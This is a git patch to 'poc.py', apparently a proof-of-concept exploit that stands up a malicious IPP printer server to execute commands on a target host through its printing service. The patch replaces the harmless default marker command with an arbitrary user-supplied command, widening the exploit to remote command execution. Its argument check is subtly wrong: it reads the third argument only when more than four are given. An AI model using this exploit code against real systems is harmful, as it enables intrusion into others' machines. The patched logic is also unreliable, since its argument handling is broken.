From 9228d8d6be2d804a9827e84572fa77bfa585c4a2 Mon Sep 17 00:00:00 2001
From: Miel Verkerken <mielverkerken@hotmail.com>
Date: Tue, 22 Oct 2024 18:57:38 +0200
Subject: [PATCH] Update poc.py

---
 poc.py | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/poc.py b/poc.py
index 374633c..4a53c0e 100644
--- a/poc.py
+++ b/poc.py
@@ -185,14 +185,15 @@ def send_browsed_packet(ip, port, ipp_server_host, ipp_server_port):
 
 
 if __name__ == "__main__":
-    if len(sys.argv) != 3:
-        print("%s <LOCAL_HOST> <TARGET_HOST>" % sys.argv[0])
+    if len(sys.argv) < 3:
+        print("%s <LOCAL_HOST> <TARGET_HOST> <COMMAND>" % sys.argv[0])
         quit()
 
     SERVER_HOST = sys.argv[1]
     SERVER_PORT = 12345
 
-    command = "echo 1 > /tmp/I_AM_VULNERABLE"
+    command = sys.argv[3] if len(sys.argv) > 4 else "echo 1 > /tmp/I_AM_VULNERABLE"
+
 
     server = IPPServer((SERVER_HOST, SERVER_PORT),
                        IPPRequestHandler, MaliciousPrinter(command))